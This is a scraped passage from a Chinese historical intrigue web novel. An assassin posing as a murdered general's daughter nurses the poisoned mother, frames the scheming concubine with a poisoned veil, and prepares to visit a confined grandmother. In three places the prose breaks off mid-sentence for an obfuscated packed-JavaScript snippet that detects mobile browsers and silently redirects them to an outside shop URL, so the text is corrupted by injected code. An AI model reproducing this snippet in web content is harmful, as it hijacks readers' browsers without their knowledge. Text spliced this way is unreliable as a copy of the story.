汀竹耐着性子一句一句回答了她的问题，“我也在找杀害你家小姐的真凶。” “我本是一个已入黄土之人。” “此番来将军府，只为报恩。” “所……所以，我家小姐真的……没了？”锁秋只觉心口一痛，眼泪瞬间涌了出来，砸在了地面上。 那个待她温和、总把点心分给她的小姐，那个会因院里花开而笑的小姐，真的不在了。 汀竹轻轻“嗯”了一声。 锁秋扶着桌沿，哽咽着说不出话。 她总还存着一丝念想，盼着小姐只是失了忆、或是受了惊吓才性情变了，可如今这轻飘飘的一个字，竟把最后一点希望也碾碎了。 汀竹看着她这副模样，声音放柔了些，“锁秋。” “你家小姐的仇，我定会替她报。但眼下，我需要你全力帮我。” 锁秋猛地抬头，泪眼朦胧间，有些忧虑，“奴婢该相信你吗？”她虽仍不知眼前人的身份，可那句“找真凶”，已让她下意识地信了大半。 若真是害了小姐的恶人，怎会提“报仇”二字？ 接着汀竹放下手中的银勺，双手一上一下遮住了全脸，只露一双清冷而又有一丝魅惑的双眸。 锁秋细细瞧了番，这才恍然大悟，“原来你是那晚的刺……” 汀竹放下了双手，一把捂住了锁秋的嘴巴，示意她要将此话烂在肚子里。 “现在能信了吗？” 锁秋摇了摇脑袋，心情好了不少，“不可信，上次真以为你给奴婢吃的毒药。” 汀竹笑了笑，“你如今只能信我，记住，我是宋韫，宋韫是我。” 锁秋犹豫了几秒，随后又点了点头，似乎多了几分决绝，“你要奴婢怎么帮？只要能为小姐报仇，奴婢万死不辞！” 汀竹用银勺舀着一勺汤，慢条斯理地吹了吹，“你只需像往常一样待我，莫让府里其他人看出破绽。尤其是周姨娘母女，还有……将军。” 提及“将军”二字时，她心里有一种说不上来的困惑。 要是真是一位负心汉，宋夫人恐怕活不到如今，如若不是他又在借此布局着什么呢？ 随即，锁秋就稳住身型，恭恭敬敬的朝汀竹福了个礼，言语诚恳，“奴婢定当全力以赴助小姐找到伤害我家小姐的真凶！” “如今你我二人也算一条船上的蚂蚱，无人便坐下一起用膳吧。”汀竹拍了拍一旁的木凳，示意锁秋坐下一同用膳。 锁秋连连摇头摆手拒绝，“这怎么能行，就算如此，你是主，我是仆。” “这不合礼数！” 汀竹一个起身，将锁秋轻轻按在了凳子上，又从食盒拿了一副碗筷，放在锁秋面前。 自己也随之坐下，一边把菜夹到锁秋面前的小碗内，一边柔声道：“诶不碍事，我本不是你家小姐，何需主仆之分，此后私下无人当以姐妹相称。” 锁秋顿时湿了眼眶，心中感动不已，“小姐，你是除小姐外第一个当奴婢是姐妹的人！” 汀竹笑了笑，将今日去医馆里老大夫开的药房递给了锁秋，“这是今日我前去医馆大夫开的解毒之法。” 锁秋接过看了一番，脸上立即浮现出了欣喜的神色，但汀竹又说了一句“此法治标不治本。”瞬间让她脸上的欣喜变得暗淡。 “为何！？” “小姐，那大夫可说还有其他办法？” 汀竹叹了口气，便将那老大夫所说的“嗜毒蛊”的事告知了她。 锁秋的脸色更加黯淡了，“这该如何是好？” “奴婢也略有听闻这蛊虫之事，乃苗疆巫医的至宝，尚不说西域苗疆路途遥远，就算咱们去得，但那巫医也未必会给。” “这简直就是无解之毒。” 汀竹摇了摇头，淡淡说道，“此毒并非就一种解法。” “小姐所说的法子是？”锁秋眼睛瞬间亮了起来。 汀竹吸了口气，难以言喻的说道：“可以毒攻毒，但以宋夫人的身体，怕承受不住。” 听到这，锁秋眼里又含着泪水，泪眼婆娑，声音哽咽，“这怎么使得？小姐生前唯一的心愿就是希望夫人不受病痛折磨，怎能如此？” 汀竹捏着银勺在碗里，来回搅动了不下数次，思考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659331|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了片刻。 “这样，明日先去厨房做些与那毒相克的蜜枣，再将此药方与食物做成药膳，每日早晚送去给夫人喝。” “看看宋夫人身体会有何反应。” 见锁秋要开口反驳，她连忙又安慰道：“你放心，我会精准用量。” 锁秋这才松了口气，但却还是有些担忧，“这样真的能行吗？” “嗯。” 见她如此肯定，锁秋不免疑惑着，“小姐，你是会医术？” “所以当时一眼就看出那香粉有问题？” 汀竹点头笑道：“还不算太笨，不过我医术不高，但毒术了得。没有我解不了的毒。” “所以你大可放心，宋夫人这毒是长期积累所致，解此毒也需长期治疗。” “若如没人发现宋夫人中毒一事，怕是年初一过便是毒发身亡之时。” * 第二日一早，锁秋就按汀竹的吩咐，做了一些蜜枣，又做了一碗药膳。 又将汀竹提早给她的一个银制的小瓶里用银针沾了一点，放进了蜜枣中搅匀。 只因汀竹说“此毒需与药膳中的枸杞一起才会发出毒性”。 一切备好时，锁秋便先送了去。 锁秋行经沁香园外时，偶然瞧见正欲回浅云居的宋婉，脚步堪堪顿在廊下。 未料宋婉竟特意停住了脚步，回眸望着她来处，似在等候着她。 锁秋心里暗骂一声“晦气”，这大清早的，偏撞上这位。 “二小姐安。”锁秋放下食盒，双手交叠一起放在胸前，浅浅鞠了一礼。 宋婉来回走了几步，低头瞧着地上放着的食盒，指着那问着锁秋。 “这里面装的是何物？” 锁秋回道：“回二小姐的话，是大小姐给夫人准备的药膳。” 宋婉抬了抬手，示意云袖去将食盒拿过来。云袖就上前将食盒拿起，在宋婉眼前打开了，里面放着一碗白呼呼散发着药材的气味的食膳，旁边还有一小碟子里有着三颗蜜枣。 宋婉见状，用一旁的食叉，叉起了一个蜜枣就要嘴里送。 锁秋急忙出声制止，“二小姐！” 可宋婉哪会停下，下一秒那蜜枣早已进了她的口中，入了肺腑。 锁秋又急又气，虽这蜜枣要与药膳才能发挥效果，但这二小姐怎这般不将夫人放在眼里。 宋婉毫不在意，吃完就将食叉放在了盒内一旁，又让云袖将这食盒盖好，还给了锁秋。 还一脸挑衅的笑道：“锁秋，我知你是聪明的丫头，方才的情景你可要当作无事发生。” 她迈步子在锁秋身侧走着，忽然在她耳边压低了声音，“不然……你家小姐，可有得受的。” 说完，宋婉眼中十分得意，旋即便带着云袖拂袖转身，步履间带着几分张扬的气焰，耀武扬威地离开了。 回了浅云居，宋婉只觉口中干涩，就喝了一杯茶水不够，又接连倒了两三杯才解了渴。 刚坐下不到片刻，只觉腹中一阵绞痛。便连忙让云袖扶着去了净房。 来回去了几次，宋婉只觉肚中空虚，扶着桌子坐在了梨花木凳子上，看着那茶水问道云袖，“这茶水是何时的？” 云袖回道：“是今早的。” 宋婉摆手示意她将茶水换掉，又道：“此后只要是茶水必须是现泡的。” 15. 修习 锁秋等宋夫人吃完药膳及蜜枣，见吃完安然无恙没有任何不适之后，才安心离开了正院。 一回暖居阁，锁秋就愤然向汀竹诉说了方才路过沁香院遇到宋婉一事，“小姐，你是不知道二小姐她，她竟然吃了夫人的蜜枣。” “完全不将夫人放在眼里，真的是气死奴婢了！” 汀竹正在坐在书案前，摊开了一张宣纸，听她这话忽然勾了一下嘴角，“无碍，给你的银瓶里的毒药，单独服下则会腹泻。” “她也算是得不偿失。” 原来这毒药还有这用处，锁秋心里瞬间解气了不少。 “小姐，你好厉害啊。” 汀竹子笔架上挑了一只翠玉毛笔，毫不谦虚地说着，“那是自然。” “锁秋帮我研磨。”汀竹又道。 锁秋应声而来，将砚台里倒了一点清水，又拿起书案上边的墨锭垂直杵着砚台里，混着水轻轻研磨了起来。 锁秋看了一眼她的左侧放着一张之前小姐所抄写经文的纸张，便问：“小姐，你是想练我家小姐的字迹吗？” 汀竹轻声回道：“正是如此。” “锁秋将你家小姐之前所遇的事以及习性擅长的东西，全都告知我。” 锁秋边研磨边想着有关小姐的一切，继而缓缓开口，“小姐内敛喜静待人温和，经常去正房院照顾夫人，每月初九都会前去普清寺为夫人烧香祈福。” “小姐绣工极佳，琴棋书画中游水准也是样样精通。平日里喜爱看书，还会为夫人特意研究一些小食。” “就这些了。” 汀竹点了点头若有所思，她琴棋书画如今每日夜里与醉心楼的桃仙儿修习后，眼下技艺已渐趋纯熟，大抵不逊于师者所教。 烧香祈福这事？ 多半不用了，就算不是因遇险一事，她也万不能前去普清寺。 普清寺距黑刃堂不远，一个前山，一个后山。万一出现什么差池，遇到黑刃堂的人发现“无常”还活着，那后果不堪设想。 研究小食倒不会，她只会研究毒药。 看书这个还好，她识字，识字是为了更好的完成任务，因此堂中管事教过每个新入堂的不识字的人。 只是绣工有点麻烦。 正想到这里，锁秋突然打断了她的思绪，言语上有一丝激动，“对了，我家小姐吃不得署豫，吃了会起红疹。” 汀竹想起了这事，也因为这事，让她活生生错过了一道美味的佳肴。 “记得，暂且先不说这事。” “锁秋，你绣工如何？” 锁秋腼腆一笑，“自然是不及我家小姐。”随后又明白了她问这话的意思，便惊讶问道：“小姐你不会是想让奴婢教你刺绣吧！？” “嗯。”锁秋照着宋韫的字迹，依葫芦画瓢仿了个六七分像，“倒要比一点不会好。” “到时候如遇有人借绣工事来试探我，你便按之前所说的话应付就好。” 锁秋点点头，应道：“好。” 汀竹颖悟绝伦，从最初不会捏针到后面能绣个简单的花花草草，虽针法不如锁秋的细密均匀，倒也能看出一点绣工。 往后勤加练习这针法多半会超过锁秋。 汀竹绣了几个时辰，着实是有些枯燥乏味，便想着教教锁秋一些拳脚功夫。 锁秋看着院中摆着一个凳子，凳面又细又长，有些怀疑的看着身侧的小姐，轻声低语着，“小姐，你之前所问奴婢是否想成为绝世高手？就这个？” 汀竹颔首，“对，骑马式一个时辰。”又无意看了看院中其他的侍女侍从，便轻声问着她，“锁秋，院中这些人底细你可知道？” 锁秋随着她的话语将院中的人，细细看了一遍，思索了几秒，“小姐，这几个都是夫人挑给小姐，应该可信。” “那就好办。”接着汀竹便将那几个下人打发至暖居阁后院让他们开辟一块土，她想种些可制药制毒的花草。 随后，前院只剩她们二人。 锁秋偏头一脸抗拒的看了眼脸上严肃认真的汀竹，又弱弱问道：“小姐，你认真的吗？这怎么……” 汀竹没有丝毫犹豫，了当的点了点头，“锁秋，这是成为高手的第一步。” “为了你家小姐，我信你必不负所望。” 既然是为了小姐，那她必当全力以赴。锁秋咬着牙，硬着头皮往前去，“好。” 锁秋小心翼翼站了上去，还没一会腿脚开始发软，正个身子颤颤巍巍，额头也是冒着虚汗。 汀竹见了直摇头，太虚了。 便又道：“锁秋，你先在平地试试。” “好……”锁秋长呼一口气，用着袖口擦了擦额前的虚汗，接着就想蹲下去再慢慢着地，不曾想腿麻了蹲不下去。 僵了许久也下不去，便想直起身子。下一秒，一整个往地下扑去，“啊！”一声大叫。 还好汀竹眼疾手快，几个步子上前，一把将锁秋揽在了怀里。 锁秋以为自己要摔个脸朝地，没想到却落入一个温暖的怀抱，一睁眼便看见汀竹那双漂亮的眸子，一下子回过了神。 “小姐……” 见锁秋稳了脚步，便松了揽着锁秋的手臂，见锁秋底子太弱，根本不适合习武，便打消了她最初的念头。 “算了，直接习最简单最有用的技能。” 于是，汀竹便教了锁秋躲避攻击、逃跑保命的技法。 本以为这一日便这般平淡过去，未料暮色将至时，宋将军却传召众人往正厅齐聚。 待府中众人尽数到齐，宋将军才开口道明缘由，语气中带着几分郑重：“三月之后，便是清禾与太子的大婚之期。” 他顿了顿，又道，“今日早朝，陛下已在朝堂之上亲口提及此事，还特意吩咐太医院一位有名的太医，明日便来府中为清禾诊治脸上的疤痕。” 话音落，他又宣了一道陛下旨意，“为让未来太子妃能更好地辅佐太子，陛下已下旨，特许清禾后日入宫中学堂──崇文轩，修习。” 这几道旨意，无疑是给了周姨娘母女当头一棒，直如坠入冰窟。 “父亲！太子殿下本就不喜姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659332|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐，若非如此，早该在姐姐及笄之年便成婚了。”宋婉急得声音发颤，“陛下为何不肯收回成命？” 她满心不甘。 只因其宋韫是嫡女，自己便要处处矮上一头？明明父亲素来偏爱她与姨娘，可为何这般天大的好处，偏落进了宋韫手里。 “宋婉！休得胡言！”宋将军面色铁青，额角青筋隐现，满是怒意，“此乃陛下金口玉言，难不成你要我将军府抗旨不遵，落个满门抄斩的下场？” “莲溪年幼，一时失言，老爷莫要动气。”周姨娘忙上前拉住宋婉，转而又对宋将军柔声道，“老爷，妾身斗胆一问，这崇文轩，莲溪……当真半分机会也无么？” 一旁的宋夫人终是开口，语气平静却带着不容置喙的分量，“妹妹，这崇文轩乃是皇家规制，非勋贵嫡女或公主近侍不得入内，你便莫要再为此事烦扰老爷了。” 周姨娘脸上的柔媚笑意瞬间褪去，取而代之的是掩不住的难堪，她垂首敛眸，“是……是妾身无知，冲撞了规矩，还望老爷、夫人莫怪。” 接着周姨娘眼底灵光一闪，似是骤然想起了什么，忙敛去方才的难堪，又换上那副柔婉模样，上前半步轻声道：“老爷，妾身前几日听府里下人闲谈，说那李大人府上的庶女，便是借着嫡姐的伴读身份，进崇文轩呢。” 她握着帕子的手微微收紧，语气里添了几分急切与期盼：“咱们莲溪若能跟着大小姐做伴读，不也能一同进去了？” 说罢，她抬眼望向宋将军，眼尾带着几分讨好的笑意，轻声追问：“老爷您看，这法子可行么？” 宋将军抬手捻着颌下长须，指节轻轻摩挲，沉吟片刻，眉头微舒，缓缓颔首：“你这话，倒也有几分道理，未尝不可。” 汀竹看着众人你一言我一言，她只在想如何能够在这三个月内找出真凶，然后早早跑路…… 转念一想，她跑了宋夫人怎么办？ 真是头疼，还是想想如何成不了婚吧。 最终宋婉以汀竹的伴读身份进了崇文轩。 回暖居阁前，汀竹特意扶着宋夫人先回了正院，借搀扶接触时，又悄悄探了探宋夫人的脉搏。似乎药膳以及她制的相克的毒药有点效果，脉搏倒是要比先前探的有力了不少。 “母亲，这两日可睡的安稳？”汀竹问道。 宋夫人脸上带着笑，温声着，“那常春藤确实是好东西，这两日睡着时总能闻见一股淡淡的清香，睡得安稳踏实多了，咳嗽都少了。” “母亲，今早的药膳可还合胃口吗？”汀竹又问了药膳的事，话里带着几分刻意，“这药膳的方子，女儿特意去府外寻大夫开的，最能补气血。” 宋夫人握着她的手拍了拍，柔声道：“清禾有心了，药膳滋味很好，那配的蜜枣也是甜得很呢。” 走到离正房大门还有几步时，宋夫人叹了口气，特意嘱咐着她，“清禾，后日去了崇文轩，可要万般小心，宫里不比府中。” “宫里规矩多，切勿得罪了宫中的任何人。” 汀竹点了点头，“母亲，女儿知道了。” 16. 治脸 宋将军上了早朝归来时，身边跟着一位太医一同回了将军府。 一到府门，宋将军就吩咐门口一位侍从，“速去暖居阁，将大小姐请到正厅来见我。” 侍从躬身应诺，转身就往暖居阁方向匆匆去了。 此时的暖居阁内，晨光斜酒廊下。汀竹斜倚在寝门前的梨花木躺椅上，一手托着脑袋，另一手把玩着布制沙包，正调教锁秋的反应能力。 院里的锁秋屏息凝神，却仍被汀竹随手掷来的沙包精准砸中额头。 “小姐——”锁秋揉着额角，小脸极为委屈，“你就不能换处砸吗？” 汀竹在手里上下抛玩着沙包，唇边噙着温笑，“你躲开不就好了。” 锁秋汗颜，她要是能躲开还在这锻炼这个，也就不至于每次被精准砸中。 “小姐，你就大人有大量，且放放水。”锁秋讨好似的双手在胸前搓手，“拜托拜托。” 汀竹一听，笑意倏收，眸色沉了几分，“现如今只是装有沙子的荷包，若他日飞来的是带刃的刀剑呢？” “你也盼着放水吗？” 汀竹最初想的是让锁秋能够学一些自保反抗的能力，如今学这些逃跑躲避法子也是为了以防万一。如若有一天遇到歹人至少也多了几分保命的剩算。 锁秋揉了揉额头，虽是沙包砸的，却还是会有一点晕晕的痛觉，但是她知道汀竹不会伤害她，是为她好。 于是她定了定神，认真道：“小姐，继续吧。” 见她如此孺子可教，汀竹心中也欣慰了不少，掷出的沙包力道也轻了些。 初始时锁秋屡屡被沙包砸中，约莫过了一个时辰，总算是能避开三四个沙包的袭击。 正当俩人练的兴头上，院外突然跑进一名侍从，他一路小跑到了锁秋所站的一侧。 躬身行礼道：“大小姐安。” “老爷请你即刻去一趟正厅。” 汀竹拿着着沙包的手指朝他挥了挥，“知道了，下去吧。” “是。”那侍从鞠着身便转身离去。 汀竹坐起了身子，放下了手里的沙包。锁秋凑来了身侧处，“小姐，会不会是陛下派太医来为你治脸？” 汀竹思了两秒，便点了点头，“多半是了。” 锁秋望着她面纱下的脸，到是蛮好奇，她脸上的疤是怎么来的，是跟自家小姐一样，还是天生长的胎记？ 便忍不住问了汀竹，“小姐，你脸上的疤是如何来的？” 汀竹掩藏了实情，只说：“先前从悬崖坠落，被石砾划伤的”，她怕说了真实原因，反倒将某人吓住。 锁秋也没在过多询问，只是觉得心疼。若不是为了自己小姐，这疤估计早该治好了。如今这般还不知会不会留下浅浅的痕迹。 又对汀竹多了几分诚挚的敬意。 随后汀竹又唤来了一两名丫鬟，将这收拾一番，就带着锁秋去了正厅。 得知宫里的太医来给汀竹治脸，周姨娘母女早已侯在了正厅。 宋夫人也由梓盼梓溪搀扶着过来。 太医先是请汀竹将面纱取下，随后细细瞧了她脸上疤痕。 接着便将一旁的医箱打开，取出一个皮革所制的针囊，将其铺开。 取下几根细长的银针，放在一个装有酒的瓷瓶中浸泡。 “宋小姐，待会下官会为你施针祛污血。” 汀竹点头应下，看着那药瓶里的银针，心中了然。 旁人只当是旧伤，倒没有想到这太医却看出了她这疤痕的实情。 是之前她用两种相克之毒导致出的污血淤积形成，刚入府那会喝了些药，也在伤口处涂了药粉，看着疤越来越细了，实则那血痕颜色越来越深。 过了片刻，太医拿起了一根银针精准的刺入了她四白穴。 不多时，汀竹脸上就扎了七八根银针。 宋夫人见状，急忙问道：“太医，小女清禾的脸能治好吗？先前寻了许多大夫都束手无策，这疤便跟着她十几年了。” “下官必竭尽所能，为宋小姐诊治。”太医拱手回道。 宋夫人连忙让梓盼搀扶给太医行了个礼，“多谢太医。” 一旁的周姨娘倒是笑的娇媚，“姐姐你这是不相信李太医的医术吗？李太医可是宫里常为陛下诊脉的名医。” “医术自然是好的。” 宋夫人还未说话，李太医倒是回了话：“侧夫人廖赞了，太医院医术高明者众多，只是恰巧陛下习惯了下官的诊法罢了。” 周姨娘的笑意逐渐淡去，转而瞥了一眼汀竹，又强挤出一抹微笑来。 而宋婉则是在一旁扣着手指，眼底满是怨恨，死死盯着汀竹的脸，不知在想些什么。 一个时辰后，李太医从汀竹的脸上轻轻取下了银针。一看银针，见入皮肤处的部分全都是黑色。 不由得大惊，举着那根银针递给宋将军看，“这，宋将军，宋小姐的脸上可是被下毒了！” 宋将军闻言，上前仔细端详了银针处变黑的部分。 眉头紧锁道：“李太医，可知小女中的是何毒？”先前确实是有中过无错，但那夹竹桃早在多年前被悉数坎尽，怎还会中毒？ 李太医便将所有的的银针取下，细细看了看残留在银针上的血迹，又端详了她脸上疤痕的症状。 缓缓便道：“依下官判断，宋小姐中的是乌蝥毒。” “是用乌蝥虫死去后凝结出的一种白霜所制成的毒药。” “接触皮肤时，会使其红肿，继而长水泡溃烂，后面加深疤痕颜色。若勿食轻者腹泻，肾脏受损，重则死亡。” 众人闻言，个个面露惊色。唯独汀竹瞬间眼中涌起了委屈，“我为何会中毒呢？” “难怪脸上的疤总是不见好，原来是中了毒。” 李太医追问道：“小姐近来可是用了什么，或去过什么特殊之地？” 汀竹思索几秒后，开口道：“前日去了赵老夫人的宴会，后又逛了望京街的几个铺子，并未有什么不妥之处啊。” 李太医来回走了几步，视线落在了汀竹那方鸢尾花面纱上。抬眸示意想查看一番，汀竹就点头应允了。 接着李太医将面纱拿到鼻下细细嗅了嗅，双眼骤睁。 “宋将军，下官找到了下毒之处。” “便是在这刺绣之中。” 一听毒是在面纱上，周姨娘瞬间就坐不住了，失声惊呼，“李太医！毒怎么、怎么可能是下在面纱之中？” 李太医取来干净的银针，刺入面纱的鸢尾花刺绣中，拔出时，针尖已然变黑。 “这，这不可能……”宋婉大惊失色。 猛然就想起了前几日周姨娘跟她说的自己有好点子。 眼看周姨娘所行之事要败露，宋婉急忙为周姨娘说话，“父亲，不可能是姨娘下的毒，定是有人栽赃嫁祸啊！” 周姨娘也连忙上前去拉宋将军的手，哭道：“老爷冤枉啊！妾身怎么毒害大小姐，定是被人暗中做了手脚！” “那这面纱，你该做何解释？”宋将军闻言一把将她推开，语气冷厉。 “妾身当真不知，是何人要陷害自己……”周姨娘以绣帕拭泪，声音娇软委屈。 宋婉见状，转而恶狠狠地质问汀竹，“宋韫，是不是你为了报复姨娘，故意栽赃陷害！” “说，是不是你下的毒！” 汀竹随即就挤出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659333|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泪花，声音带有怯意，“二妹妹，你怎会如此冤枉我？” “我怎么以身犯险，给自己下毒！” 宋婉见她这般模样，愈发气急败坏，上前就要去扯汀竹。拉扯之际，汀竹唇边露出了一抹得意的笑容，转瞬又恢复了可怜模样。 “宋韫，你之前的柔弱都是装的！！你才是那个下毒之人！是你！是你！” 宋夫人早已被眼前乱象吓住，挣扎着想起身制止俩人纠缠，却见宋婉扬手一巴掌，“啪──”的一声，狠狠扇在了汀竹脸上。 “清禾！” 宋夫人惊呼一声，竟直直晕了过去。 “夫人！夫人！”梓盼、梓溪急声呼喊，“老爷，夫人晕倒了！” 宋将军急忙上前去查，对李太医喊道：“李太医！” 李太医上前为宋夫人诊脉，片刻后便道：“宋夫人只是受了惊吓，并无大碍。” 宋将军松了口气，又沉声道：“来人将二小姐带下去，好生看管！没有我的允许不准踏出房门半步！” 侍从上前，架着哭闹的宋婉退了下去。 周姨娘急唤，“莲溪！”，却拦不住人。 她跪趴在地上，拽着将军的衣摆哀求着，“老爷，妾身真没给大小姐下毒，你要相信我啊！” 忽又想起什么，急道：“是银铃！” “对，是银临！这面纱是妾身交与银铃绣的。与妾身无关啊，老爷！” 宋将军又吩咐了侍从：“将银铃带来。” 不多时，银铃被带至正厅中。宋将军指了指漆盘中的面纱，问道：“这面纱是你绣？” 银铃抬头看了一眼，便点头应道：“是奴婢绣的。” “好大的胆子，竟敢在里面下毒！”宋将军怒喝。 银铃一听，吓得“噗通”跪地，身子直哆嗦，“老爷，奴婢没有下毒……” 周姨娘忙道：“老爷，就是她下的毒！她先前因大小姐而在姐姐那受了气，便对大小姐心怀怨恨啊！” 那银铃惊得抬头看向了周姨娘，“姨娘……” 周姨娘却瞪了她一眼，眼底带有警告，“老爷，你要相信妾身啊！” “这银铃家中贫寒，家中有老母幼弟。手脚本就不干净，先前妾身可是看到她好几次拿我盒中不常戴的那首饰，定是拿去换钱贴补家用了！” 听到这话，汀竹看着跪地发抖的银铃，又瞧着周姨娘那颠倒黑白的嘴脸。 心中冷笑，这是在找替死鬼了。这周姨娘当真是恶毒啊，真是苦了这银铃。 随后宋将军便继续问，“是不是你下的毒？” “老爷，是奴婢……下的毒。” “你为何会如此？”宋将军沉着脸继续问着。 银铃颤颤巍巍道：“正是如周姨娘所说的那般，奴婢对大小姐心怀怨恨……” 接着银铃便被侍从拉下去杖毙。 周姨娘盯着汀竹的面容，眼神阴翳。似在揣测这毒是不是汀竹自己下的，想从她的脸上找出一丝破绽。 而汀竹已然上前，悉心照料晕厥的宋夫人。 宋将军转向李太医，拱手赔罪道：“李太医，让你见笑了。” “哪里，哪里，将军处理内宅之事，倒是下官叨扰了。”李太医回礼道。 “诶，无碍事无碍事。”宋将军笑道，“李太医小女脸上的毒，可有解毒之法？” 李太医捋着胡须道：“将淤血放出，再用红花酒擦拭疤痕边，切记不可擦到放血的伤口处。” “待伤口愈合后，便涂抹玉容散。下官再给宋小姐开一副活血化淤的药方，每日膳后服用。” “不出半月，宋小姐脸上的疤，便可消失殆尽。” 17. 祠堂 “小姐，那面纱之上，当真是周姨娘下的毒？” 待回了暖居阁，锁秋便按捺不住心头疑虑这才开口询问。她分明记得，先前为汀竹戴上时也并未察觉有任何不妥之处。 汀竹站在窗前往外望了去，眸光扫过了院内各司其职的侍女侍从，待周遭无人留意，方压低声音回复了锁秋的话。 “并非她。” “那又是何人所为？”锁秋满目困惑，望向了她。 汀竹缓缓转过身，倚靠着窗棂，双臂轻环于胸前，露出一抹别有深意的笑容，“是我设局，栽赃陷害。” “小姐你.......你的意思是，那毒是你亲手所下？”锁秋惊得忙捂着嘴，生怕发出太大的声音，引来外人窥探。 汀竹点了点头，语气略带遗憾，“本想借此事扳倒周姨娘，却没料到，是我小瞧了她的手段。” 锁秋缓步朝她这走来，轻声道：“周姨娘的手段素来厉害！” “都说老夫人是冲撞了邪祟才变得疯癫，但是此事发生的甚是蹊跷。奴婢斗胆猜测多半与她脱不了关系。” 先前锁秋曾提过，宋将军的通房诞下大少爷后，便被宋老夫人下令处死。 如此看来，那宋老夫人本是个心狠手辣的角色，怎会在周姨娘过门不久后，变得神志不清？这般想来，或许真如锁秋猜测般，宋老夫是被周姨娘下了毒手。 “锁秋，老夫人如今是安置在哪个院落？”汀竹走至屏风前的书案前坐下，取过那只她用的最顺手的翠玉毛笔。 锁秋见状，便研起了磨，一边达道：“是在祠堂后的院子，没有老爷的命令，任何人都不得靠近。” 汀竹提笔落墨，宣白的纸上赫赫然写下“祠”一字，力透纸背。 将一个疯癫之人关在祠堂之后，也不怕冒犯了列祖列宗？此事，令她心中又多了几分疑云。 “小姐，你这是......”锁秋望着纸上的“祠”字，似乎猜透了她的心思，细言道：“是要去祠堂探望老夫人？” 汀竹侧起了头，看了一眼锁秋那充满睿智的眼神，嘴角带笑，“你倒是机灵。” 与此同时，周姨娘回了西厢房，一进门便抬手扫过茶几上的茶杯。瓷杯落地，碎裂之声刺耳，一旁的侍女被她这一举动吓的脸色发白，忙唤道：“姨娘！” 周姨娘理了理衣袖，瞬间敛去怒意，恢复了往日的端庄模样，言语中带着几分警告，“此事就当没发生过，若让别院的人听见了，你该知道后果。” 那侍女连忙低头躬身道：“奴婢知晓了。”说罢，便蹲下身子，小心翼翼的将青砖地面上的茶杯瓷片一片片拾起。 “姨娘，奴婢方才去了二小姐院子，可外面的护卫不让奴婢进去。”说话的是周姨娘的贴身婢女梨画。 她从门口走到周姨娘身后，为其轻轻捶着肩膀，又道：“这大小姐自从上次坠崖后，就像是换了个人。” 周姨娘一声冷笑，眼底满是不屑，“哼，我倒要看看，这宋韫能翻出什么花样！” “这栽赃陷害的技俩，她倒是学得通透。”说罢，她又问道：“可知那日她出府，去过什么特别的地方？” 梨画凝神回忆了片刻，便将所知道的消息一一禀明，“那日奴婢特意去询问了跟着大小姐一路的护卫，护卫说大小姐就是在云锦坊挑选试穿衣裳。其间遇到了齐小姐和李小姐，三人似乎因衣裳起了争执。后来齐小姐同李小姐先行离开，大小姐接着又去了几家首饰铺......” 周姨娘细细听了她说的宋韫所有行踪，却未发现有什么可疑之处，便又追问着，“可知三人争执后，是如何散的？” “是大小姐主动礼让了，李小姐碍着面子，还替大小姐付了所选的衣物的银两。”梨画回着话。 主动礼让？这倒是符合宋韫往日的性子，而下毒陷害之事，倒不似她所为。可这......难道此事另有其人？那毒，又是从何处而来的？ 周姨娘手指摩挲着手腕处那碧绿色翡翠手镯，忽然想起，那面纱曾经过太子之手。 难道是太子? 想到此处，周姨娘豁然开朗。 莫非太子是因得知与宋韫大婚将至，便恰巧借此机会拖延婚期？可这般手段，很轻易就被太医察觉......又或许，是太子一时疏忽，没考虑到这一点。 她此刻推测，下毒之事或许与宋韫无关。但为以防万一真如莲溪所说那般，宋韫为报复，才一直假装柔弱，博得老爷信任。若真是如此，留着宋韫，便是个极大的祸害。 随后，周姨娘吩咐梨画：“你且时刻盯紧宋韫的动静，若有半分异样，立即来向我禀报。”此事若真是宋韫一手谋划，那便留不得她。 夜黑风高，四下安静得无半点人言，唯有夜风穿林，拂动枝叶发出簌簌的轻响。 今晚汀竹未去醉心楼学琴，反倒是提着灯笼，带着锁秋悄然往了将军府祠堂去。 高墙耸立，她将灯笼往前照了照，烛火摇曳里，那门楣牌匾上那两个大字“祠堂”正泛着沉木光泽。再往下看去，祠堂正门处落了锁，周遭竟无半个人影看管。 走近些细辨那锁的样式，古朴厚重，分明是无钥匙难开的。汀竹眉梢微蹙，转头问身侧的人儿，“锁秋，这祠堂素来都这般锁着么？那老夫人平日里用什么吃食？” 锁秋忙指了指大门左侧墙根，那儿竟有处半尺见方的缺口：“往常送饭的人，都是把食盒搁在这缺口里，等里头的嬷嬷来取。” 